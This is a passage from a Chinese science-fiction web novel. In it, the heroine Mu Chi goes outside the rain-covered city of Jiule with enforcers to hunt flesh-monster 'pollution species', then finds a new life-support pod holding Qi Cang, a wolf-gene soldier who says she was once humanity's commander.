按下中央的按钮,这个极具科技质感的大箱子便自动变形,展开,宛若一个炫耀暴力美学的大型器械库。
琳琅满目,什么样的都有。
只不过,准备这些的人似乎不太常用热武器——或者说,不怎么使用穆炽记忆里的那些热武器。
展现在她面前的,更多是造型奇特的冷兵器。
就像雨伞可以折叠成卡片大小那般,这些冷兵器大多都被折叠到小臂那么长,很难一眼分辨出原貌。
有些较宽、有些较窄,有些还嵌着明显的火器发射口。
“你们每个人挑一样,不要多拿。”没穿鞋的青年道,“我建议你们别拿热武器,对污染种的杀伤力有限,子弹还容易打光。”
其余四个白卡公民唯唯诺诺的,站在那里半晌也不知道该选哪样武器。
大概从他们的理解来说,今天应该是拿着吸尘器去城外打扫卫生,而不是拿着武器跟怪物打打杀杀。
穆炽对此有点心理准备,但对污染种这东西基本一无所知。
思索片刻,她决定直接问。
“污染种有没有致命的弱点?”穆炽看向那个青年,“不好意思,我还没见过那东西。”
青年惊讶了下,似乎没想到穆炽竟然还真的在考虑怎么杀死它。
“有,它的身体内部一定有一颗心脏。”
青年做了个类似舀冰淇淋的动作,“找到它,但不能伤害它,要把它挖出来,就像从地里刨出红薯那样。”
“为什么不能?”穆炽问。
“知道【乌玉】吧?”青年笑了下,“在【玉】里,它可是最高级的。”
这下,穆炽理解了对方为什么要求尽量避免使用热武器。
打在别的部位,子弹的杀伤力有限;如果打穿心脏,就相当于在可以用来制作高级皮草的毛皮上狠狠划出一道,价值暴跌。
最好只使用冷兵器,才能像铲黄油那样,一块一块地慢慢削,削到发现心脏的位置为止。
而冷兵器搭配的火器发射口,大概就是紧急情况下用的。
毕竟污染种又不会站在那里随便给人削,它们一旦对人的性命造成威胁,哪怕【乌玉】的价值再高,也得先杀了污染种,保证自己的存活。
“除此以外,不同的污染种的攻击特征也不一样,大致能分为七类:暴虐、懒惰、贪婪、狂妄、欲望、痴迷和忌恨。但是,绝不能死板应对。”
那位青年对穆炽的态度挺和善,介绍得也很仔细。
穆炽听得心底诧异。
这七个词语,如果换一种说法,不就是圣经里的七宗罪吗。
这个世界也有圣经吗?或者类似的宗教?
太微妙了,就像九乐城使用的语言竟然是她的母语那般,一切都令她感到某种不真切的荒诞。
就像她在做一场噩梦,而噩梦的元素依然来自于她的记忆。
将她了解的东西提取、打碎,再融合成怪异的模样。
穆炽闭了闭眼,又睁开。
不,这个世界是真的。
千真万确。
还是说,她其实并没有穿越到另一个世界,而这里是地球文明继续发展下去的未来的可能性之一?
穆炽不敢做出这样的肯定。
但她必须去找到自己醒来时的那个维生舱。
另外四个白卡公民已经挑选好武器。
经过青年的体型,他们没有挑选为数不多的几样热武器,而是挑选了符合自己体格的。
以刀刃作为弓身的□□、用火枪的枪身作为杆身的长矛、匕首的刀柄附带迷你左轮……这些基于实用性为主的冷热武器结合,还真是很有想象力。
穆炽仔细逡巡许久,不时拿起来试用。
就像卡片雨伞那样,握把上基本都有切换折叠形态的开关,穆炽只需要用拇指轻轻一推,它就会似流水般展开,贴合的缝隙与刀刃处皆闪烁着莹莹微光,瞬息间变成高杀伤力的姿态。
整体来看,这把由折叠状态展开的刀不算沉,大约三指宽,一米二长,刃身笔直,单侧开刃。
模样很像穆炽记忆里的唐横刀,但在刀格处加装了一截能发射小型子弹的枪管。
“哦,那是附带火器的高频磁振荡刀,你还真是会选。注意别乱挥,厢壁都能削一块下来,到时候把你卖了都赔不起。”青年抬了抬眼。
他说的最后那句话,甚至基于当前市场价的实事求是。
穆炽:“没有刀鞘?”
青年:“要什么刀鞘,啥玩意能当它的刀鞘,你关了就行。”
穆炽有点无语,将这柄刀重新切回折叠形态,像握着一柄直尺那样握在手里,横放在坐下来的大腿上。
似乎是白卡公民逆来顺受惯了,仅被灌输通识教育的他们脑子里也没有反抗这个词语的概念。
哪怕手里获得了武器,他们也乖乖地坐在原地,等着下一步指令。
九乐城里还有三花和蝴曈,穆炽也不会在这大喝一声“王侯将相宁有种乎”。
这次,执勤车没有飞上天,而是一直在地面上急驰。
他们需要通过审查极为严苛的管制口,核实完身份与出城目的后,挨个在左腕扣了个不知名金属材质的手环,才能通过安检离开。
“别随便碰它。”
对方提醒得模棱两可,估计这手环是用来防止他们离开九乐城就不回来。
穆炽能在刚醒时就恰好遇上城外出现事故,顺利进入九乐城,实在是很走运。
“小心些,除了污染种,外面的逃亡者又多起来了。”另一人说道。
守在管制口的同样是执法者,好心提醒自己的同僚出城不止要对污染种保持警惕。
虎队长啧舌:“从哪里放出来的。”
“谁知道呢,毕竟九乐城南边就是自由城,去那里的人不少。”
管制口的人回了他一句,二人便不再交流。
虎队长关上车窗,执勤车驶离了管制口。
也驶向城外。
这场连绵不
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绝的雨终于被抛在身后,穆炽看不见窗外,但能感知到总是萦绕在耳畔的雨声白噪音逐渐消失,世界回归安静。
车辆行驶在地面,不时还会产生轻微的颠簸。
没一会儿,车停了,后厢门被从副驾驶下来的束含打开,有光线刺进穆炽的眼底。
是真的阳光,穆炽都要愣两秒才能反应过来,其余四个白卡公民已经捂住了眼睛,发出惊慌的惨叫。
“所以说白卡啊……”
融合熊基因的那个执法者鄙夷了句,随即提高声音,“快点下来!没时间给你们磨磨蹭蹭的。”
穆炽坐得靠外,她是第一个下来的。
比起上次在仓促间窥见的灰茫茫一片,这次的穆炽有足够的时间慢慢观察。
即使被灿烂的阳光直射,脚下的泥土依旧泛着不正常的铁灰,隐隐能看见红褐色的细丝,像蛛网般朝望不到的尽头蔓延而去。
这种诡异的土质,确实不像能长出庄稼的样子。
而与这片土地表现出来的死气沉沉相称,目之所及没有树木,没有花草,没有虫鸟。
他们不像来到了城外,而是抵达某种灾害尚未结束的现场。
只有在极远的、几乎与地平线融为一体的尽头,才隐约能窥见一点朦胧的起伏。
那里是九乐城,被雨笼罩着,根本看不清都市的轮廓。
重新将视线落回眼前,最让穆炽感到困惑的不是死潮本身。
“……氧气从哪来?”
没有植物,哪来的氧气供人类生存?还是说依靠类似蓝细菌这样的藻类?
虎队长听到这句话,还挺诧异挑了下眉毛,意思是[没想到你小子还懂这些,果然身份不简单啊]。
“喏,靠这个。”
他用脚尖碾了碾土,将那些半埋在地里的红褐细丝碾得更明显一点。
“据那些研究员说,这是用污染种的血肉养出来的植物,也被称为噬根丝。它们繁殖得特别快,疯狂掠夺其余植物的资源,直到这片土地上除了它们以外什么也没有。”
新物种?
穆炽的职业病犯了,向虎队长确认过它无害后蹲下身,指尖试着挑起一根红褐细丝。
比藤蔓细,比头发丝粗,稍微有点韧劲,但力道大些就能将它掐断,流出一点点深褐的汁液。
莫名有点熟悉。
穆炽眉心微拧,想起售卖给下城区的劣等【乌玉】。
“……该不会是用它做的?”
“很聪明嘛,你。”虎队长讶然笑道,“不愧是自由城来的,感知还真是敏锐。毕竟这植物怎么说也吸收了污染种的血肉,还是有一点利用价值的。”
穆炽丢掉手里那根细丝,站起身。
“我们杀污染种获得能源,污染种溅出的血肉滋养出噬根丝,噬根丝繁殖蔓延形成死潮,死潮又迫使我们建造城市抵御它?”
穆炽看向同样在打量她的虎队长,直白的道出本质。
“这看起来,好像是一个恶性循环的死胡同。”
虎队长耸了下肩,表示他也无能为力。
“换个角度思考呗,这片长着噬根丝的死潮里,不全都埋着能提取的能源。”
穆炽有点哑然:“………”
这头老虎还挺乐观。
算了,这也不是她需要考虑的问题。
反正就算她在这里说什么环境生态链、讲什么动植物和谐相处也没用,都死没了。
基因倒是在这帮人身上留着呢。
另外几人都下了车,虎队长没有再继续跟穆炽聊。
“都警惕些,这里不比城内,只需要处理一些没什么攻击性的玩意。”
“白卡都跟我和勺右走,遇到污染种不要慌,听我的指令。”
“大志、束含,你们留下来防着流亡者抢劫。老规矩,见到除我们以外的可疑人士直接开火,不要犹豫,不要让他们靠近。”
这才是后厢里那些热武器真正要对付的目标。
除去那些被取出的热武器外,大志还额外拎着一个箱子,爬上车顶,开始架设便携式无线信号塔。
到九乐城外,他们的个人终端就没有信号了,需要临时弄一个小范围的,可以保证他们四人的通讯顺畅就足够。
他们不能一直开着车,发动机的持续性低频震动会吸引到对这个频段敏感的污染种。
到时候,场面就会变得像一大群鱼蜂拥来争夺它们的食物。
——于是,一组人留守安全区,另一组朝深处进发。
虎队长将手里的武器切换成砍刀形态,走在第一个。
勺右是没有穿鞋的青年,他没有启动挂在腰间的武器,而是始终站直身体,竖起耳朵,十二万分警惕的观察四周。
穆炽猜他拥有的可能是猫鼬基因,一种家庭成员会轮流当哨兵警惕捕食者的群居性动物。
至于她身边的那位鱼类基因共生者,穆炽感觉他已经快要被太阳烤干了,不止越走越慢,皮肤上的鳞片也开始干燥上翘。
附近没有水源,他只能硬撑着。
但眼球越来越凸,估计是支撑不了多久了。
其它两个人的状态相对来说还不错,只拎着手里的武器,一言不发。
穆炽注意到脚下那些红褐色的细丝越来越密,颇有些像哈密瓜上那些网状的脉络。
直到勺右忽然停住,抬起右手。
虎队长会意,指挥众人散开,互相之间站远一点。
穆炽握紧手里的高频磁振荡刀,横架在身前,防止随时可能出现的突袭。
四周依然空荡荡的,看起来没有敌人。
——滴答。
穆炽发现一滴黏稠的暗红液体落在刀刃上,转眼又被震碎。
而下一刻,那个不停急促喘气的鱼类基因共生者就被一只自天空俯冲而来的翼型怪物叼走,甩向空中后,整个吞食!
污染种未必在地面!
穆炽正追逐着它的身影,就听见一声剧烈的爆炸动静。
刚滑翔至远处的污染种发出哀嚎,小半个腹腔连带右边翼根被炸出肉眼可见的窟窿,无法再保持平衡,朝地面斜斜坠落。
是那个出城时被扣在左手的手环!
“活该乱吃东西。”
虎队长哼笑了声,拎着刀就冲上去,迅速指挥他们去包围那只污染种。
距离越近,穆炽就越能看清楚那只污染种的样貌。
没有皮毛、肌肤乃至鳞片这层包裹躯体外壳的东西,它就像一个巨大的、有自我意识的狰狞肉块,自缝隙间不断滴答着血液。
而那团大致接近鸟类形态的肉块,顶上竟然还能挤出两颗眼球,一张能分成三瓣、里面长满利齿的嘴。
“这点威力伤不到它,但不能再让它的伤口再生,重新飞回天上!”
虎队长的嗓门很大,所有人都听得清楚。
“去砍掉它的翅膀!”
穆炽与另一个昆虫类基因共生者距离污染种最近,只需要再几步路,就可以接近它——
那只污染种抬起勉强被称为“脑袋”的肉块,突然朝他们这边转过来!
心头骤然一紧,突如其来对危险的直觉令穆炽脚步瞬间刹停,转而朝旁边扑去。
“嘎!!”
一声尖利的嘶鸣,从那张利齿层层叠叠的嘴里喷出一蓬雾状的红褐液体,将昆虫基因共生者整个罩了进去。
几个呼吸间的功夫,那个昆虫基因共生者痛苦挣扎起来,身体的血肉开始膨胀,撑裂他的皮肤!
“贪婪!”虎队长边跑边气得破口大骂。
“我们遇上了最棘手的贪婪型污染种,该死的它还会飞!”
11.九乐城(十一)
穆炽反应及时,躲过一劫。
她不清楚贪婪型污染种指的是什么,但她知道这头巨大的、接近三米高的怪物极其危险。
从嘴里喷出的血雾大概是某种毒素,不能碰到,否则就会落得昆虫基因共生者那样的下场,整个人的皮肤都被血肉撑爆。
就好像皮肤只是一个容器,而内部的血肉已经发育成熟,迫不及待要诞生。
它扭曲着,膨胀着,肉与骨之间发出互相摩擦的咯咯声,像只迫不及待出世的雏鸟,又像煮开的泡沫从锅边沸腾着溢出来。
五官彻底扭曲,大量的血混着残缺的皮囊、衣服以及原本握在手里的那把武器,纷纷跌落在地。
这画面,换一个心理素质稍微差点的人来,会当场被恶心到呕吐。
穆炽在野外考察时,倒也见过许多次捕猎的血腥场景,对眼下这状况谈不上完全适应,倒也还算能接受。
也可能是在精神的高度紧张下,根本无暇顾及其他事情。
虎队长跟勺右正在朝穆炽的反方向跑,打算呈三角位置围住这只会飞的血肉怪物。
他们的速度奇怪,远超过普通人类。
但那只污染种的再生速度更快,嚎叫完那声没过几秒,它就已经煽动翅膀,打算再次升上天空。
如果真的成功飞到天上,他们至少得再损失一个人,才能再次把它拉下来。
趁着污染种的脑袋朝昆虫基因共生者那边,绕到它背后的虎队长果断拎着把砍刀就上,气势汹汹。
下一瞬间,污染种没有起飞,而是将脑袋拧了一大圈,鼓起的眼球布满红血丝,恶狠狠瞪着冲过来的破界者。
完全违反生理结构的动作使脖颈拧得橡根弹簧,但这根本不妨碍它已经张大嘴,对准了移动中的虎队长!
——砰!
是见那只怪物又打算使出相同招数的穆炽当机立断,左手横着平抬在身前充当简易固定平台,举起磁振荡刀的右手的手腕架在左手小臂上保持稳定。
紧接着,刃尖直指污染种的喉咙,扣动了扳机!
就算是违反生理结构常理的怪物,想要喷出一大蓬血雾,也需要一个蓄力过程!
而穆炽看准这点,用磁振荡刀上加装的火枪,毫不迟疑打穿了怪物的喉咙,也使它的攻势被迫中断。
她开始喜欢上这种冷热武器结合的新奇玩意了,能远程能近战,妙啊。
“干得漂亮!!”
刚打算躲避的虎队长见状更是欢喜,大喝一声,顺便趁怪物痛苦挣扎时,砍刀狠狠一劈,像剁猪肉那般,将它左边翅膀也削了下来。
接连两次得手,接下来的进攻优势就在他们这边了!
污染种被切断的截面没有喷出大量的血,也有可能是因为它本身就一直在滴滴答答地淌着血。
总之,它开始蠕动着,似乎要将其它部位的肉挤过去,形成新的翅膀。
穆炽开完枪后没有停留,迅速朝远离昆虫基因共生者的方向冲去。
鱼类基因共生者死的时候,佩戴在他左手腕上的手环爆炸了。
谁知道这只同样被感染到异化的昆虫基因共生者会不会同样爆炸?爆炸范围又是多少?
赶紧离开,越远越好!
穆炽冲得很快,几步就越过了短手短腿的蜥蜴类基因共生者,并开口提醒,“快跑!”
对方大概是第一次离开九乐城,又从来没见过这血呼啦擦的阵仗,整个人已经傻愣愣地钉在原地,即使穆炽提醒也没有挪动脚步。
他以为他只是来打扫卫生的啊!
而下一刻,手环判定昆虫基因共生者已经死亡。
嘭——
这次,爆炸声混着更大范围的血花,在穆炽身后爆炸,残肢碎块溅落如下雨。
蜥蜴类基因共生者站得太近,被炸断了一只手,又淋了满头满身的血肉。
穆炽以为对方好歹算是活了下来,结果一回头,发现对方也开始像昆虫基因共生者那般发生异变!
穆炽:“!!!”
这是丧尸基因吗,怎么还会人传人的!
虎队长显然知道这点,他始终削得很小心,没有让这只污染种再有机会喷出第二口。
勺右的动作很灵巧,他的后腿给他带来了极高的机动性与跳跃力,挥刀就将污染种的脑袋劈了一半下来。
“心脏在哪!”虎队长大喊,“赶紧把它的心脏挖出来!”
“脑袋里没有!”勺右也高声回了句。
正在这时,污染种那没有被削掉的半个脑袋又开始蓄力,要朝虎队长喷出一发传染毒雾!
虎队长左手抓住离他最近的那个白卡,猛一蓄力,伴随爆喝出声,让对方如流星锤那般飞了出去,重重砸到污染种的脑袋上!
仿佛被一颗偌大的超高速铁球命中,污染种不仅攻击再次被打断,整个躯体都朝一侧缓慢仰倒。
除穆炽外仅存的那个白卡摔落在地面,骨碌碌滚了好几圈,躺在地上一动不动了。
手环没有爆炸,应该只是昏迷。
勺右趁污染种被砸到在地的功夫,一蹬地便轻松跳到它身上,挥刀就在躯干表层划出了一个巨大的交叉伤口。
他们需要尽快找到心脏的位置!
但污染种同样不能放任他们想要杀死自己,甚至连翅膀都先不再生了,而是让肉块尽快聚集在头部,提前分裂出一张新的嘴巴,张大,涎水混着鲜血滴落——
勺右先一步深吸口气。
“——!”
一声强烈的、尖锐的叫声自勺右的口中发出,宛若一柄锥子狠狠刺进耳膜,给了大脑一记眩晕攻击。
正打算再开一枪的穆炽动作停顿,感觉天地都在旋转。
就像连续坐了十几个小时的大巴,强烈的恶心感让她反胃。
而污染种近距离挨了这么一声,陷入了更加强烈的混乱,被同样踩上来的虎队长趁机直接砍断喉咙,整个脑袋“咚”一下滚落在地。
“别突然瞎吵吵,老子差点脚一滑摔下去!”
虎队长也被这一声嚎得大脑嗡嗡作响,收回刀的同时顺便给了勺右的后脑勺一巴掌。
他纯粹是皮糙肉厚,硬抗下来的。
被教训的勺右心虚嘿笑了声,拎着刀继续找污染种的心脏。
穆炽缓得很快,也拎着刀过来跟他们一起找。
“注意点,别伤到了心脏。”
虎队长还指导她,“你得一片一片的削,别太粗鲁。心脏的颜色稍微深些,有大有小,形状反正基本就那样,大差不差。”
穆炽觉得自己活像个生活在原始时代的野蛮屠夫,在对着一座腥臭的肉山进行切割、分解、归类。
蜥蜴类基因共生者没有坚持太长时间,同样爆炸成一团碎肉血雾。
所幸他的位置距离他们比较远,没能再感染到第三个受害者。
“得,这下真得我们来当清理工了。”
虎队长咋舌,手上动作半点不慢。
污染种的再生速度异常迅速,还得防着它的突袭攻击,或者血腥味引来其他的污染种。
他们同样得抓紧时间。
勺右负责防范污染种的再生与突然偷袭,虎队长和穆炽负责找心脏的位置。
污染种断断续续的嚎叫,不停地尝试翻滚,挣扎,让站在上面的他们要不断保持身体平衡,防止被甩下去。
没过多久,穆炽一刀切进污染种的胸腔中部,朝左下方一划,便露出那颗正在剧烈跳动的巨大心脏。
“好好好,你的运气也很好啊!”
虎队长喜笑颜开,过来一刀砍在心脏上方的供血管处,将它整个躯体里挖了出来。
原本正在蠕动再生的血肉骤然一停。
它不再挣扎,彻底垮塌成一大滩僵硬的肉。
嚎叫声也终于彻底消失了。
虎队长松了口气,抬手按住嵌在耳后的微型个人终端,先与守在执勤车那边的束含联系上,简单告知结果后,又打给污染种回收处。
“坐标发你们了,快点过来,我就守半个小时——哈,你们半个小时过不来?关老子什么事!赶紧的!”
虎队长关掉终端,对上穆炽望过来的目光,潇洒一耸肩。
“那帮人磨磨唧唧的,就得压力他们,才会快点干活。”
穆炽没有跟着虎队长一起蛐蛐他的同事,而是问出一直好奇的问题。
“为什么它是贪婪型污染种?”
“哦,你也看见了,它会喷毒液感染普通人,直到所有人都异化成它的同类为止。”
虎队长说,“不同特性的污染种拥有的攻击方式不同。比如暴虐型污染种更喜欢使用大范围的物理攻击,体格也比贪婪型的更大,一巴掌就能把地面拍出个坑。”
“懒惰型污染种是最好对付的了,它们只会漫无目的地游荡,但注意不要碰它体表分泌出的黏液,那玩意能腐蚀掉你整个人。”
“会飞的其实挺罕见,一般来说,它们的体型撑不起它们上天,顶多扑腾着滑行一段距离。”
“不过嘛,你也不用太担心它们会飞到城市里,否则还要我们和污染种猎人干嘛。”
边简单介绍了几句,虎队长边挑了块勉强干净的地面坐下歇息。
接下来就是等专门回收污染种尸体的人到现场了,在此之前,他们只要防着别被人捡漏就行。
通常来说,正规猎人也不敢来碰官方的东西,见到他们穿着的作战服,就会自觉远远避开。
“今天能杀得这么轻松,多亏了你那一枪。”虎队长看向穆炽,“专门练过?”
穆炽含糊应了声,没有正面回答。
其实,这还是她第一次摸到……刀枪?枪刀?
但,她就是会用。
那一刻,就好像她天生知道该如何使用这把武器。
知道它该如何被挥动,也清楚该如何在战斗中间将它架起、瞄准、扣动扳机。
在这点上,穆炽同样感到巨大的困惑。
总不能说她是天生神枪手,不用练习就可以百发百中吧?
虎队长只当穆炽在来九乐城以前练过,了然笑道,“难怪。你的战斗意识真的不错,只是个白卡也太屈才了。”
毕竟,除了穆炽以外的四个白卡,眼下已经死掉三个,昏迷一个。
虎队长觉得这次战斗很轻松,是建立在他压根没将其余四个白卡当成人这个基础来判断的。
物品嘛,消耗用的,不算在战损清单里。
勺右去检查最后那个白卡的伤势如何,还能不能自己走动。
如果认为带回去很麻烦,他会远远开一
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枪,就地火化。
穆炽没有接虎队长的话,而是提出另一个要求,“我想离开一会。”
虎队长还记得束含的交代,没有拒绝她,“认得路?”
“嗯。”
“不用开车送你?”
“我想一个人去。”
维生舱的事,穆炽下意识不想让他们知道。
只有她一个人也没什么问题,在野外辨认方向这点,本就是她的强项。
虽然这片土地灰茫茫的,但如果以远处的九乐城为参照物,她还记得大致的方位与距离。
何况,她是朝着九乐城方向走的,相当于朝着划出的安全区位置走,也不用太担心遇到污染种。
虎队长看了穆炽一会儿,点了下头。
“行,我相信你不会逃,”他说,“到时候城南门口集合,你知道在哪,对吧?”
“多谢。”穆炽回了句,正要离开,虎队长又喊住她,“你想不想来我这工作?”
脚步一顿,穆炽疑惑看向虎队长。
“我刚才用终端问了下玉铃,她说你没负债。而且看你的外貌,基因缺陷与异化系数肯定都不用担心。
虎队长说,“我前段时间正好损失了个人,一直没填上,你如果答应,我回去就打报告走申请。”
“如何?只要成功入职,你就成为黄卡公民,可以搬到中城区了。”
离开下城区吗……这个邀请的诱惑确实挺大。
穆炽沉思了会,“成黄卡公民后,我可以带人一起搬到中城区吗。”
“当然不行,”虎队长摇头,“如果这样就能让白卡混到他不该到的地方上去,九乐城的秩序会乱成一团。”
“这样啊,”穆炽说,“那我再考虑一下。”
即使她成了黄卡公民,三花和蝴曈也不能跟着她一起搬到中城区。
穆炽离开了那片狼藉不堪的区域,寻着记忆,朝维生舱里的位置前进。
那把刀被虎队长留给她了,说是防身用。
脚下的泥土是干燥的,踩上去有种沙沙的诡异触感,既不像走在沙漠,也不像走在丛林里。
如果非要更准确些的形容,穆炽觉得自己像走在反复腐烂又晒干的肉糜上。
噬根丝混在泥土里,像动物肉里没来及挑断的经络。
即使头顶是阳光直射,眼前一片旷野,空气比总是湿漉漉的九乐城干燥得多,也总是让人感觉……憋闷。
某种压抑的死寂,始终坠在穆炽的心头。
或许是她习惯了生机勃勃的野外吧,穆炽想道。
这种比“千山鸟飞绝、万径人踪灭”更彻底、更荒芜的死气沉沉,令她整个人感觉极其不舒服。
走了很长一段路,穆炽终于来到记忆里的地点。
在她视野的前方,铅灰的大地上孤零零摆着一个圆筒型的物体,约二米长,一米宽。
是她见过的维生舱。
穆炽心底一喜,快步上前。
“………”
越靠近,越觉得不对。
穆炽记得她的维生舱当时是被打破的,前面大半个玻璃罩面粉碎得彻底,呈现出某种被撞击后的惨烈遗迹。
但眼前这个维生舱,很新。
非常新。
简直就像是刚被搬过来不久的!
穆炽停在这个维生舱前,转身面向九乐城,与记忆里的比对,确定自己没找错地方。
这里又不是游戏,哪会在地图上随机刷新维生舱??
再回过头,她面前确确实实是一个完好的维生舱,玻璃面罩笼罩着一层雾,看不清里面什么模样。
穆炽用指腹擦过光滑的玻璃表面,拿到眼前细看。
指尖上粘着一层浅浅的灰。
这个维生舱在这里有段时间了。
莫非是与她境况相同的穿越者……?
穆炽正在思索,维生舱却因她的一次擦拭而唤醒。
[指纹匹配。]
[权限确认……权限确认成功,执行对应指令,维生舱开启。]
等等!?
穆炽大惊之下,手里的磁振荡刀已横架在身前。
随着维生舱传来一声轻哧,充盈在内部的浓雾尽数褪去,露出里面的景象。
是一个模样清俊的男人,闭着眼,似乎在沉睡。
他的短发黑中发灰,偏凌乱,也像是融合了某种动物基因所呈现出的外貌显化特征。
双手则怀抱在胸前,其中戴着手套的右手牢牢握紧一杆冷兵器时代的长枪。
在科技高度发达的这个世界里,它同样是折叠式的,在不切换形态的情况下,将本应两米多的长度缩减为约一米。
而在那顶端部分,既有笔直尖锐的枪头,旁边还配备有弯月造型,月弧部分极为锋利。
他同样极其擅长战斗。
就在穆炽考虑就这样离开,还是把人喊醒时,对方先一步睁开了眼睛。
一只眼睛是银灰色的,被光照着,透出微微的蓝。
另一只眼睛是义眼,黑色虹膜中央有明显的调焦过程。
他的目光准确朝穆炽看过来,缓慢地,又眨了下眼。
“终于找到您了……”
他的嗓音沙哑,吐字缓慢。
“我的唯一支配者。”
12.九乐城(十二)
突发意外,穆炽十分冷静。
“我不记得我见过你。”她直白的说,“你可能认错人了。”
“………”
对方静默无言,没有拿着长枪的左手攀住维生舱边缘,坐起身,从里面跨了出来。
穆炽注意到他的左手不像右手那样戴着手套,五指修长,发力时的骨节明显。
是增强摩擦力,防止战斗的时候脱手吗。
这个想法在穆炽心底过了一遍,暂时抛到脑后。
当他站在自己面前时,穆炽发现他比自己高了约半个脑袋,但始终低着头,神情安静而内敛。
怎么说呢,不像是冷酷的战士,反而像犯了错、担心被她训斥的……狗。
穆炽觉得这个词语用得十分古怪,但一时间实在找不到更贴切的形容。
还有他刚才对她的称呼,“他的支配者”。
穆炽有一米七五,眼前这男人足有一米八,看起来却比她的气势更弱。
“你认错人了。”
她叹了声气,又重复一遍。
男人摇头,“没有,”他似乎不擅长讲话,每个音节都咬得很慢,“我设定了,只有您才能打开这个维生舱。”
穆炽抬了抬眉毛,“如果不是我碰了呢?”
放在这里,总有别的污染种或者逃亡者会好奇过来,然后碰一下吧。
“会发出警报,”男人说,“然后我醒,打开维生舱,杀了他们。”
穆炽哑然:“………”
这不都是他被吵醒了吗,没什么区别啊。
有点呆得好笑。
不过,这个维生舱的外形确实与她醒来时的那个一致,姑且听听他会说些什么。
“所以,你认为我是你认识的人,”穆炽说,“你一直在这里等我?”
“是。”抱着长枪的男人敛目,声线偏低,“原本,我该将您带到九乐城内部,再唤醒。”
“中间出了意外,流亡者袭击我时,不慎让维生舱撞向了列车。”
“等我再去找维生舱时,内部已经空了。”
他一直很紧张穆炽会责怪他,衣物覆盖下的肌肉始终发力,整个肩背都绷得很紧,连没握着长枪的左手都捏成了拳。
穆炽大概理解了他口中的事情经过。
四个多月前的那天,他带着装有她的维生舱,准备乘坐“黑船”偷渡进九乐城时,意外遭到流亡者的偷袭。
他与他们战斗时,不慎让维生舱脱手,正好与高速行驶中的列车撞到一处。
结果就是在剧烈的碰撞下,维生舱被滚落到极远处,列车脱轨,而赶来的大批执法者令他无法在原地久待,只能先回避。
但等事态平息,他再返回去寻找时,只看见了一个空荡荡的破损维生舱。
他不知道穆炽去了哪里,也不知道她是否安全。
在把周围数十公里都仔细寻找了遍后,他判断穆炽应该还活着——可能已经进入了九乐城。
但九乐城太大了,他不确定穆炽在哪里,于是想了个办法。
“扛来一个新的维生舱,睡在原地,等我回来找?”
穆炽也不由对他的脑回路大为惊叹。
“你怎么就断定我一定会回来找维生舱?我甚至不知道我为什么会躺在里面,我想不起来了。”
这办法是有点清奇,但对于她这种莫名其妙身穿到这个世界里的人来说又刚刚好。
因为她确实会为了找到一星半点的线索,尝试回到苏醒地点附近搜寻。
纵使她刚醒来时,就已经将维生舱及附近都搜寻了一遍,也会在熟悉了这个世界后,想要再重新仔细排查一遍。
但对眼前这个男人而言,或许他当时想要保护的、躺在维生舱里的那个人,其实不是她。
“是您。”
男人深吸口气,说道。
“我知道您不会拥有以前的记忆。是您自己做的。”
穆炽微微睁大眼睛,错愕看向对方。
正好,那双一银灰一墨黑的异瞳也抬起,朝她看来。
神色极为认真,嘴唇抿紧,几乎连他自己也在懊恼这个结果。
空气沉默了会,直到穆炽重复一遍。
“……我自己做的?”
她为什么要这样做?
“很多事情……我也记不清楚了。”
男人欲言又止,似乎在思索如何措辞。
“但在八年前……您是旧日时代的最高人类指挥官,带领我们成功终结了长达数十年的末日。”
而在那之后,所谓最高指挥官迎来的,不过是一场有预谋的共同背叛。
为了权势与利益,他们不惜花大力气谋害了获胜凯旋的、有伤在身的人类统帅,在人类迎来最终胜利的前夕,亲自将那枚果实牢牢抓在手里。
八年间,他们瓜分了在这片大陆上建起的七座城市,各自拥有对它的绝对统治权。
但她并没有真正死亡,而是日复一日躺在维生舱内,等待着再度苏醒的那刻。
……
时间在静默中流逝了许久。
“你光是口头这样说,我实在很难相信。”
穆炽终于开口。
如果真的已经在这个世界生活过了那么多年,她的外貌为什么没有变化?赛博科技的力量?
就算这能解释得通,但她又为什么主动抹去以前的记忆?
对于这些问题,男人似乎也很难解释清楚。
他也跟着遗忘了许多事情,就好像以前的穆炽故意不希望此刻的她直接得到所有答案。
——或者说,她不能就这样直接得到答案,这对她有害。
但不论怎么说,穆炽还是不愿意全盘相信一个陌生人对她说的这些内容。
换个情景,某天你一开门,发现外面站着个陌生人对你说“其实你以前是某个大人物,只是你主动让自己失忆了,才导致你忘记了你自己的真正身份”……谁会信啊。
再退一步说,就算她以前可能真的是什么最高指挥官,现在失忆状态——难道来找她的,就不能是敌人吗?
面对穆炽显而易见的戒备心,男人沉默片刻,左手摸向后颈。
他从领口下拉出一条细细的银链,底下坠着一块半个巴掌大的方型金属牌,在阳光下摇摇晃晃。
男人将这块金属牌,交到穆炽手里。
表面被磨得十分光滑,边缘泛着更浅的黄铜光泽,是被岁月反复打磨后才会出现的痕迹。
好在上面的文字内容依然清晰可辨。
【齐苍】
【共生基因:狼】
【隶属零级特种精英作战小队】
【直属长官穆炽】
最后那个落款。
穆炽。
与她的名字一模一样。
在这个世界上,除了三花以外,没有第三个人知道她的真名。
公民卡上登记的是假名禾火,所有人都喊她禾火,以为那就是她的名字。
穆炽用拇指指腹缓慢摩挲过那两个代表她真名的文字,沉默了。
齐苍不知道她在想什么,只忐忑站在一旁,不敢打搅她的思绪。
他的身上只剩下这枚佩戴至今的狗牌,是从旧日时代唯一留下来的遗存。
如果穆炽连这个都不相信,他想不出更好的办法。
即使穆炽不信他,他也不怪穆炽。
他只觉得自己又搞砸了。
齐苍握紧手里的枪杆,好似这力道连带扼住了他的气管,几乎不能呼吸。
——直到穆炽再次开口。
“我知道了,”她说,“你叫齐苍,对吗?”
齐苍点头,又“嗯”了一声。
“我不能在外面待太长时间,你自己有没有办法进九乐城?”穆炽问。
她还得去跟虎队长汇合,不能一直在这里聊天。
齐苍想了想,“得过一段时间。”他说,“我是通缉犯,走不了正规渠道。”
穆炽诧异:“为什么成了通缉犯?”
“跟【穆炽】有关的一切,都是他们摧毁的目标。”齐苍有问必答。
“可以办一张公民卡,”穆炽想了想,“我就用假名补办成功了,禾火,你记得别叫错。”
齐苍乖乖点头,表示自己记住了。
“但我可能不行,”他说,“大清洗的时候,基因进了通缉档案。特征也很明显。”
穆炽的情况是特殊的。
他们以为她死了,迫不及待将所有痕迹销毁得一干二净,反而让八年后的禾火成了漏网之鱼。
何况,穆炽现在是白卡公民,根本不被他们放在眼里。
甚至连她在补办时,政府连基因都懒得给她测,默认她活不了多长时间就会死。
“好,那等你成功进入九乐城后,来这个地址找
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我。”
